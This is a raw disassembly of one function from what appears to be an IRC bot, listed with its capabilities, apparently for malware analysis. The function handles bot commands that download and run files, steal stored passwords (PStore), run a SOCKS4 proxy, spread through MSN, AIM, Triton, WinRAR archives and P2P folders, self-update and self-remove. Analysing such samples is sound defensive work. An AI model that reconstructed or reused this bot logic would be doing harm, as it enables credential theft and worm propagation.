Function at 0x402248
Capabilities:
Create thread
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb80
mov eax, dword [ebp + 0x18]
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], 0
cmp dword [ebp + 0x50], 0
je 0x4022a2
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
push str.login
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402283
mov eax, 1
jmp 0x40376c
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
push str.matame
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x4022a2
mov eax, 1
jmp 0x40376c
cmp dword [ebp + 0x28], 0
je 0x402398
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
push str.dl.start
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x4022f6
push str.Download
push 4
push 0
mov ecx, dword [ebp + 0x24]
push ecx
mov edx, dword [ebp + 0x1c]
push edx
mov eax, dword [ebp - 4]
push eax
push 0x411698
call fcn.004071c0
add esp, 4
push eax
call fcn.0040d9ba
add esp, 0x1c
mov eax, 1
jmp 0x40376c
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
push str.pstore
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402339
push str.PStore
push 0xd
push 0
mov eax, dword [ebp + 0x24]
push eax
mov ecx, dword [ebp + 0x1c]
push ecx
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax + 0xc]
push ecx
call fcn.0040d9ba
add esp, 0x1c
mov eax, 1
jmp 0x40376c
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
push str.actulizando
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x402363
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
push str.actulizando
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402398
push str.Update
push 4
push 0
mov eax, dword [ebp + 0x24]
push eax
mov ecx, dword [ebp + 0x1c]
push ecx
mov edx, dword [ebp - 4]
push edx
push 0x411698
call fcn.004071c0
add esp, 4
push eax
call fcn.0040d9ba
add esp, 0x1c
mov eax, 1
jmp 0x40376c
push str.login
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x4023e1
cmp dword [ebp + 0x24], 0
je 0x4023d7
push str._julieta_:
push str._s_logged_in.
push 0x411698
call fcn.004071c0
add esp, 4
push eax
mov edx, dword [ebp - 4]
push edx
call fcn.00404fe6
add esp, 0x10
mov eax, 1
jmp 0x40376c
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
push str.join
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402474
mov edx, dword [ebp + 8]
cmp dword [edx + 4], 0
jne 0x402433
cmp dword [ebp + 0x1c], 0
jne 0x402429
push str._Irc_:
push str._s_mis_param.
push 0x411698
call fcn.004071c0
add esp, 4
push eax
mov eax, dword [ebp - 4]
push eax
call fcn.00404fe6
add esp, 0x10
mov eax, 1
jmp 0x40376c
mov ecx, dword [ebp + 8]
cmp dword [ecx + 8], 0
je 0x40244a
mov edx, dword [ebp + 8]
mov eax, dword [edx + 8]
mov dword [ebp - 0xb70], eax
jmp 0x402454
mov dword [ebp - 0xb70], 0x4134a0
mov ecx, dword [ebp - 0xb70]
push ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
push eax
mov ecx, dword [ebp - 4]
call fcn.00405192
mov eax, 1
jmp 0x40376c
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
push str.part
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x4024df
mov eax, dword [ebp + 8]
cmp dword [eax + 4], 0
jne 0x4024c6
cmp dword [ebp + 0x1c], 0
jne 0x4024bc
push str._Irc_:
push str._s_mis_param.
push 0x411698
call fcn.004071c0
add esp, 4
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.00404fe6
add esp, 0x10
mov eax, 1
jmp 0x40376c
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
push eax
mov ecx, dword [ebp - 4]
call fcn.004051e7
mov eax, 1
jmp 0x40376c
push str.matame
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402571
push 0
push 0
call fcn.004064ed
add esp, 8
cmp dword [ebp + 0x1c], 0
jne 0x40252d
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax + 8]
push ecx
mov edx, dword [ebp + 0x14]
mov eax, dword [edx + 4]
push eax
mov ecx, dword [ebp + 0x14]
mov edx, dword [ecx]
push edx
push str._Remove_:_Removed_by:__s__s__s.
mov eax, dword [ebp - 4]
push eax
call fcn.00404995
add esp, 0x14
jmp 0x402550
push 0x411254
mov ecx, dword [ebp + 0x14]
mov edx, dword [ecx + 4]
push edx
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax]
push ecx
push str._Remove_:_Removed_by:__s__s__s.
mov edx, dword [ebp - 4]
push edx
call fcn.00404995
add esp, 0x14
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
call fcn.00404945
call dword [0x413d40]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
push str.dl.start
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402799
mov edx, dword [ebp + 8]
cmp dword [edx + 4], 0
je 0x40259c
mov eax, dword [ebp + 8]
cmp dword [eax + 8], 0
jne 0x4025d0
cmp dword [ebp + 0x1c], 0
jne 0x4025c6
push str._Dl_:
push str._s_mis_param.
push 0x411698
call fcn.004071c0
add esp, 4
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.00404fe6
add esp, 0x10
mov eax, 1
jmp 0x40376c
push 4
call fcn.0040da54
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jle 0x402620
cmp dword [ebp + 0x1c], 0
jne 0x402616
mov edx, dword [ebp - 8]
push edx
push 0x411258
push str._Dl_:
push str._s__s_ya_esta_corriendo:___d_
push 0x411698
call fcn.004071c0
add esp, 4
push eax
mov eax, dword [ebp - 4]
push eax
call fcn.00404fe6
add esp, 0x18
mov eax, 1
jmp 0x40376c
mov ecx, dword [ebp - 4]
mov dword [ebp - 0xcc], ecx
mov edx, dword [ebp + 0x1c]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0x1c], eax
push 0x411698
call fcn.004071c0
add esp, 4
push eax
lea ecx, [ebp - 0xc8]
push ecx
call sub.MSVCRT.dll_strcpy
add esp, 8
mov edx, dword [ebp + 8]
mov eax, dword [edx + 4]
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 8]
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x38], 0
mov eax, dword [ebp + 8]
xor ecx, ecx
cmp dword [eax + 0xc], 0
setne cl
mov dword [ebp - 0x34], ecx
mov edx, dword [ebp + 8]
xor eax, eax
cmp dword [edx + 0x10], 0
setne al
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0xc], 0
je 0x40269b
mov dword [ebp - 0xb74], 0x411268
jmp 0x4026a7
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 4]
mov dword [ebp - 0xb74], edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
push ecx
mov edx, dword [ebp - 0xb74]
push edx
push str._Dl_:
push 0x41126c
push 4
call fcn.0040d680
add esp, 0x14
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x10]
push eax
push 0
lea ecx, [ebp - 0xcc]
push ecx
push 0x407c8b
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, dword [ebp - 0x48]
imul edx, edx, 0x218
mov dword [edx + 0x414210], eax
mov eax, dword [ebp - 0x48]
imul eax, eax, 0x218
cmp dword [eax + 0x414210], 0
je 0x402759
cmp dword [ebp - 0x14], 0
jne 0x402719
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402709
cmp dword [ebp + 0x1c], 0
jne 0x402757
cmp dword [ebp + 0x24], 0
je 0x402757
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 8]
push edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 4]
push ecx
push str._Dl_:
push str._s_Downloading_URL:__s_to:__s.
push 0x411698
call fcn.004071c0
add esp, 4
push eax
mov edx, dword [ebp - 4]
push edx
call fcn.00404fe6
add esp, 0x18
jmp 0x40278f
cmp dword [ebp + 0x1c], 0
jne 0x40278f
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x4112ac
push str._Dl_:
push str._s_Fail_start__s__err:___d_
push 0x411698
call fcn.004071c0
add esp, 4
push eax
mov eax, dword [ebp - 4]
push eax
call fcn.00404fe6
add esp, 0x18
mov eax, 1
jmp 0x40376c
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
push str.dl.stop
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x4027e3
push 1
push 4
call fcn.0040d8ab
add esp, 8
push str._Dl_:
push 0x4112bc
push 0x411698
call fcn.004071c0
add esp, 4
push eax
mov eax, dword [ebp - 4]
push eax
call fcn.00404fe6
add esp, 0x10
jmp 0x40376a
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
push str.socks4
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x4029aa
push 6
call fcn.0040da54
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jle 0x402843
cmp dword [ebp + 0x1c], 0
jne 0x402839
mov eax, dword [ebp - 8]
push eax
push str.Socks4_Server
push str._Sock4_:
push str._s__s_ya_esta_corriendo:___d_
push 0x411698
mov ecx, dword [ebp - 4]
push ecx
call fcn.00404fe6
add esp, 0x18
mov eax, 1
jmp 0x40376c
mov edx, dword [ebp + 0x1c]
mov dword [ebp - 0xd4], edx
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0xd8], eax
push 0x411698
call fcn.004071c0
add esp, 4
push eax
lea ecx, [ebp - 0x184]
push ecx
call sub.MSVCRT.dll_strcpy
add esp, 8
mov edx, dword [ebp - 4]
mov dword [ebp - 0x188], edx
mov eax, dword [ebp + 8]
cmp dword [eax + 4], 0
je 0x40289c
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 4]
push edx
call dword [sym.imp.MSVCRT.dll_atoi]
add esp, 4
mov dword [ebp - 0xb78], eax
jmp 0x4028aa
xor eax, eax
mov ax, word [0x411662]
mov dword [ebp - 0xb78], eax
mov ecx, dword [ebp - 0xb78]
mov dword [ebp - 0xe8], ecx
mov edx, dword [ebp - 0xe8]
push edx
push 0x4134a8
push str._Sock4_:
push 0x4112e0
push 6
call fcn.0040d680
add esp, 0x14
mov dword [ebp - 0x104], eax
lea eax, [ebp - 0x10]
push eax
push 0
lea ecx, [ebp - 0x188]
push ecx
push 0x408877
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, dword [ebp - 0x104]
imul edx, edx, 0x218
mov dword [edx + 0x414210], eax
mov eax, dword [ebp - 0x104]
imul eax, eax, 0x218
cmp dword [eax + 0x414210], 0
je 0x40296a
cmp dword [ebp - 0xd0], 0
jne 0x402932
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40291f
cmp dword [ebp + 0x1c], 0
jne 0x402968
mov ecx, dword [ebp - 0xe8]
push ecx
push 0x4135b8
push str._Sock4_:
push str._s_Server_running_on:__s:_i
push 0x411698
call fcn.004071c0
add esp, 4
push eax
mov edx, dword [ebp - 4]
push edx
call fcn.00404fe6
add esp, 0x18
jmp 0x4029a0
cmp dword [ebp + 0x1c], 0
jne 0x4029a0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Socks4_thread
push str._Sock4_:
push str._s_Fail_start__s__err:___d_
push 0x411698
call fcn.004071c0
add esp, 4
push eax
mov eax, dword [ebp - 4]
push eax
call fcn.00404fe6
add esp, 0x18
mov eax, 1
jmp 0x40376c
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
push str.rarinject
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x4029f2
push 0
push 0x409417
call fcn.0040948c
add esp, 8
push str.WinRAR_Injection_Activated
push 0x411698
call fcn.004071c0
add esp, 4
push eax
mov eax, dword [ebp - 4]
push eax
call fcn.00404fe6
add esp, 0xc
jmp 0x40376a
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
push str.msn.msgemail
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402b0b
mov eax, dword [ebp - 4]
mov dword [ebp - 0x244], eax
mov ecx, dword [ebp + 0x1c]
mov dword [ebp - 0x190], ecx
mov edx, dword [ebp + 0x24]
mov dword [ebp - 0x194], edx
push 0x411698
call fcn.004071c0
add esp, 4
push eax
lea eax, [ebp - 0x240]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 8
push 0x20
mov ecx, dword [ebp + 0x10]
push ecx
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 0
jne 0x402a6b
mov eax, 1
jmp 0x40376c
mov edx, dword [ebp - 0x248]
mov dword [ebp - 0x1bc], edx
push 0x411344
push 8
call fcn.0040d680
add esp, 8
mov dword [ebp - 0x1c0], eax
lea eax, [ebp - 0x10]
push eax
push 0
lea ecx, [ebp - 0x244]
push ecx
push 0x4096e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, dword [ebp - 0x1c0]
imul edx, edx, 0x218
mov dword [edx + 0x414210], eax
mov eax, dword [ebp - 0x1c0]
imul eax, eax, 0x218
cmp dword [eax + 0x414210], 0
je 0x402b06
cmp dword [ebp - 0x18c], 0
jne 0x402ae2
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402acf
push str._IM_:
push str._s_Thread_Activated:_Sending_Message_With_Email.
push 0x411698
call fcn.004071c0
add esp, 4
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.00404fe6
add esp, 0x10
jmp 0x40376a
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
push str.msn.msg
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402c24
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x304], ecx
mov edx, dword [ebp + 0x1c]
mov dword [ebp - 0x250], edx
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0x254], eax
push 0x411698
call fcn.004071c0
add esp, 4
push eax
lea ecx, [ebp - 0x300]
push ecx
call sub.MSVCRT.dll_strcpy
add esp, 8
push 0x20
mov edx, dword [ebp + 0x10]
push edx
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
mov dword [ebp - 0x308], eax
cmp dword [ebp - 0x308], 0
jne 0x402b84
mov eax, 1
jmp 0x40376c
mov eax, dword [ebp - 0x308]
mov dword [ebp - 0x278], eax
push 0x411384
push 8
call fcn.0040d680
add esp, 8
mov dword [ebp - 0x280], eax
lea ecx, [ebp - 0x10]
push ecx
push 0
lea edx, [ebp - 0x304]
push edx
push 0x409bd6
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x280]
imul ecx, ecx, 0x218
mov dword [ecx + 0x414210], eax
mov edx, dword [ebp - 0x280]
imul edx, edx, 0x218
cmp dword [edx + 0x414210], 0
je 0x402c1f
cmp dword [ebp - 0x24c], 0
jne 0x402bfb
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402be8
push str._IM_:
push 0x411390
push 0x411698
call fcn.004071c0
add esp, 4
push eax
mov eax, dword [ebp - 4]
push eax
call fcn.00404fe6
add esp, 0x10
jmp 0x40376a
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
push str.msn.stop
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402c6e
push 1
push 8
call fcn.0040d8ab
add esp, 8
push str._IM_:
push 0x4113b8
push 0x411698
call fcn.004071c0
add esp, 4
push eax
mov eax, dword [ebp - 4]
push eax
call fcn.00404fe6
add esp, 0x10
jmp 0x40376a
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
push str.msn.sendzip
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402d79
mov eax, dword [ebp - 4]
mov dword [ebp - 0x3c4], eax
mov ecx, dword [ebp + 0x1c]
mov dword [ebp - 0x310], ecx
mov edx, dword [ebp + 0x24]
mov dword [ebp - 0x314], edx
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax + 0xc]
push ecx
lea edx, [ebp - 0x3c0]
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
push 0x20
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
jne 0x402ce0
mov eax, 1
jmp 0x40376c
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x33c], ecx
push str.MSN_Threads
push 9
call fcn.0040d680
add esp, 8
mov dword [ebp - 0x340], eax
lea edx, [ebp - 0x10]
push edx
push 0
lea eax, [ebp - 0x3c4]
push eax
push 0x40a3cc
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x340]
imul ecx, ecx, 0x218
mov dword [ecx + 0x414210], eax
mov edx, dword [ebp - 0x340]
imul edx, edx, 0x218
cmp dword [edx + 0x414210], 0
je 0x402d74
cmp dword [ebp - 0x30c], 0
jne 0x402d57
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402d44
push str._IM_:
push str._s_Thread_Activated:_Sending_Message__Zipfile.
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax + 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
call fcn.00404fe6
add esp, 0x10
jmp 0x40376a
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
push str.msn.stopzip
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402dbc
push 1
push 9
call fcn.0040d8ab
add esp, 8
push str._IM_:
push 0x411408
mov edx, dword [ebp + 0x14]
mov eax, dword [edx + 0xc]
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.00404fe6
add esp, 0x10
jmp 0x40376a
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
push str.aim.msg
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402eff
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x484], ecx
mov edx, dword [ebp + 0x1c]
mov dword [ebp - 0x3d0], edx
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0x3d4], eax
push 0x20
mov ecx, dword [ebp + 0x10]
push ecx
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
mov dword [ebp - 0x488], eax
cmp dword [ebp - 0x488], 0
jne 0x402e18
mov eax, 1
jmp 0x40376c
mov edx, dword [ebp - 0x488]
mov dword [ebp - 0x3fc], edx
push str.AIM_Threads
push 0xa
call fcn.0040d680
add esp, 8
mov dword [ebp - 0x400], eax
lea eax, [ebp - 0x10]
push eax
push 0
lea ecx, [ebp - 0x484]
push ecx
push 0x40b8d9
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, dword [ebp - 0x400]
imul edx, edx, 0x218
mov dword [edx + 0x414210], eax
mov eax, dword [ebp - 0x400]
imul eax, eax, 0x218
cmp dword [eax + 0x414210], 0
je 0x402eb5
cmp dword [ebp - 0x3cc], 0
jne 0x402e8f
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402e7c
push str._Aim_:
push 0x411428
push 0x411698
call fcn.004071c0
add esp, 4
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.00404fe6
add esp, 0x10
jmp 0x402efa
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
push str.aim.stop
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x402efa
push 1
push 0xa
call fcn.0040d8ab
add esp, 8
push str._Aim_:
push 0x411450
push 0x411698
call fcn.004071c0
add esp, 4
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.00404fe6
add esp, 0x10
jmp 0x40376a
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
push str.triton.msg
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x403042
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x544], ecx
mov edx, dword [ebp + 0x1c]
mov dword [ebp - 0x490], edx
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0x494], eax
push 0x20
mov ecx, dword [ebp + 0x10]
push ecx
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
mov dword [ebp - 0x548], eax
cmp dword [ebp - 0x548], 0
jne 0x402f5b
mov eax, 1
jmp 0x40376c
mov edx, dword [ebp - 0x548]
mov dword [ebp - 0x4bc], edx
push str.TIM_Threads
push 0xb
call fcn.0040d680
add esp, 8
mov dword [ebp - 0x4c0], eax
lea eax, [ebp - 0x10]
push eax
push 0
lea ecx, [ebp - 0x544]
push ecx
push 0x40b2d2
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, dword [ebp - 0x4c0]
imul edx, edx, 0x218
mov dword [edx + 0x414210], eax
mov eax, dword [ebp - 0x4c0]
imul eax, eax, 0x218
cmp dword [eax + 0x414210], 0
je 0x402ff8
cmp dword [ebp - 0x48c], 0
jne 0x402fd2
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402fbf
push str._Triton_:
push str._s_Thread_Activated:_Sending_Message.
push 0x411698
call fcn.004071c0
add esp, 4
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.00404fe6
add esp, 0x10
jmp 0x40303d
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
push str.triton.stop
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x40303d
push 1
push 0xb
call fcn.0040d8ab
add esp, 8
push str._Triton_:
push 0x411498
push 0x411698
call fcn.004071c0
add esp, 4
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.00404fe6
add esp, 0x10
jmp 0x40376a
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
push 0x40f314
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x403080
call fcn.0040be00
push str._p2p_:_File_injected_to_peer2peer_folders.
push 0x411698
call fcn.004071c0
add esp, 4
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.00404fe6
add esp, 0xc
jmp 0x40376a
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
push str.seed.utorrent
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x403143
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 4]
mov dword [ebp - 0x54c], edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 8]
mov dword [ebp - 0x554], ecx
mov edx, dword [ebp + 8]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x550], eax
mov ecx, dword [ebp - 0x550]
push ecx
mov edx, dword [ebp - 0x554]
push edx
mov eax, dword [ebp - 0x54c]
push eax
call fcn.0040201c
add esp, 0xc
mov dword [ebp - 0xb7c], eax
cmp dword [ebp - 0xb7c], 0
je 0x4030f4
cmp dword [ebp - 0xb7c], 2
je 0x40311a
jmp 0x40313e
push str._Seed_:
push str._s_Seeding__n
push 0x411698
call fcn.004071c0
add esp, 4
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.00404fe6
add esp, 0x10
jmp 0x40313e
push str._Seed_:
push str._s_Unable_to_download_file_n
push 0x411698
call fcn.004071c0
add esp, 4
push eax
mov edx, dword [ebp - 4]
push edx
call fcn.00404fe6
add esp, 0x10
jmp 0x40376a
push str.pstore
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x403171
push str.pstore.search
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x403280
push 0xd
call fcn.0040da54
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jle 0x4031b4
mov ecx, dword [ebp - 8]
push ecx
push str.pstore_thread
push str._Pstore_:
push str._s__s_ya_esta_corriendo:___d_
mov edx, dword [ebp + 0x14]
mov eax, dword [edx + 0xc]
push eax
mov ecx, dword [ebp - 4]
push ecx
call fcn.00404fe6
add esp, 0x18
mov eax, 1
jmp 0x40376c
mov edx, dword [ebp - 4]
mov dword [ebp - 0x610], edx
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x55c], eax
mov ecx, dword [ebp + 0x24]
mov dword [ebp - 0x560], ecx
push str.pstore.search
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x4031fa
mov dword [ebp - 0x57c], 1
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 4]
mov dword [ebp - 0x588], edx
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax + 0xc]
push ecx
lea edx, [ebp - 0x60c]
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
push str.PStore_Thread
push 0xd
call fcn.0040d680
add esp, 8
mov dword [ebp - 0x58c], eax
lea eax, [ebp - 0x10]
push eax
push 0
lea ecx, [ebp - 0x610]
push ecx
push 0x40bf70
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, dword [ebp - 0x58c]
imul edx, edx, 0x218
mov dword [edx + 0x414210], eax
mov eax, dword [ebp - 0x58c]
imul eax, eax, 0x218
cmp dword [eax + 0x414210], 0
je 0x40327b
cmp dword [ebp - 0x558], 0
jne 0x40327b
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x403268
jmp 0x40376a
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
push str.pstore.stop
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x4032c3
push 1
push 0xd
call fcn.0040d8ab
add esp, 8
push str._Pstore_:
push 0x411524
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax + 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
call fcn.00404fe6
add esp, 0x10
jmp 0x40376a
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
push str.actulizando
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x403591
mov edx, dword [ebp + 8]
cmp dword [edx + 4], 0
jne 0x403312
cmp dword [ebp + 0x1c], 0
jne 0x403308
push str._Update_:
push str._s_mis_param.
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax + 0xc]
push ecx
mov edx, dword [ebp - 4]
push edx
call fcn.00404fe6
add esp, 0x10
mov eax, 1
jmp 0x40376c
mov eax, dword [ebp + 8]
cmp dword [eax + 8], 0
je 0x40333b
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 8]
push edx
push 0x41165c
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x40333b
mov eax, 1
jmp 0x40376c
push 4
call fcn.0040da54
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jle 0x403384
cmp dword [ebp + 0x1c], 0
jne 0x40337a
mov eax, dword [ebp - 8]
push eax
push 0x411538
push str._Update_:
push str._s__s_ya_esta_corriendo:___d_
mov ecx, dword [ebp + 0x14]
mov edx, dword [ecx + 0xc]
push edx
mov eax, dword [ebp - 4]
push eax
call fcn.00404fe6
add esp, 0x18
mov eax, 1
jmp 0x40376c
lea ecx, [ebp - 0x8d4]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 9
idiv ecx
push edx
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 9
idiv ecx
push edx
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 9
idiv ecx
push edx
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 9
idiv ecx
push edx
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 9
idiv ecx
push edx
lea edx, [ebp - 0x8d4]
push edx
push str._seraseme__d_d_d_d_d.exe
lea eax, [ebp - 0x7d0]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0x20
mov ecx, dword [ebp - 4]
mov dword [ebp - 0x6cc], ecx
mov edx, dword [ebp + 0x1c]
mov dword [ebp - 0x618], edx
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0x61c], eax
mov ecx, dword [ebp + 0x14]
mov edx, dword [ecx + 0xc]
push edx
lea eax, [ebp - 0x6c8]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 8
mov ecx, dword [ebp + 8]
mov edx, dword [ecx + 4]
mov dword [ebp - 0x644], edx
lea eax, [ebp - 0x7d0]
mov dword [ebp - 0x640], eax
